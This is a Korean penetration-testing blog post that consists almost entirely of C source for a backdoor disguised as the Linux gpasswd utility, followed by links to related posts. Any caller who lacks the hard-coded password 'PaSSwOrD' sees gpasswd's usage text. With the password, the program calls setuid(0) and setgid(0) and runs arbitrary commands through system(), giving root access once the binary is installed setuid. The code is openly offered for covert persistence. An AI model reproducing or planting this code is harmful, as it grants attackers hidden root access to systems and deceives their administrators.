gpasswd , backdoor 은닉 코드
2018. 9. 2. 19:30ㆍ보안 & 해킹/모의 침투
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define BUF_SIZE 1024
int main (int argc, char *argv[]){
char *exec = (char*)malloc(sizeof(char) * BUF_SIZE);
if(argc < 3 || strncmp(argv[1], "PaSSwOrD", 8)) {
printf("Usage: gpasswd [option] GROUP\n\
Options:\n\
\t-a, --add USER\t\t\t\tadd USER to GROUP\n\
\t-d, --delete USER\t\t\tremove USER from GROUP\n\
\t-h, --help\t\t\t\tdisplay this help message and exit\n\
\t-Q, --root CHROOT_DIR\t\t\tdirectory to chroot into\n\
\t-r, --remove-password\t\t\tremove the GROUP's password\n\
\t-R, --restrict\t\t\t\trestrict access to GROUP to its members\n\
\t-M, --members USER,...\t\t\tset the list of members of GROUP\n\
\t-A, --administrators ADMIN,...\n\
\t\t\t\t\t\tset the list of administrators for GROUP\n\
\t\t\t\t\t\tExcept for the -A and -M options, the options cannot be combined.\n");
exit(1);
} else if(exec == NULL) {
printf("Malloc Error!\n");
exit(1);
}
setuid(0);
setgid(0);
sprintf(exec, "%s 2>/dev/null", argv[2]);
system(exec);
}
Coded by yummy
'보안 & 해킹 > 모의 침투' 카테고리의 다른 글
SMTP 구축 없이 메일 주소를 속여서 보내기 (0) | 2019.01.10 |
---|---|
해커플레이북3 리마인드맵 remind map (0) | 2018.12.27 |
03.도메인 컨트롤러 공격과 원리 (0) | 2018.08.28 |
02.WMI의 이해와 우회 침투 (0) | 2018.08.28 |
01.파워셸의 악의적 활용 및 로컬 관리자 계정 획득 (0) | 2018.08.28 |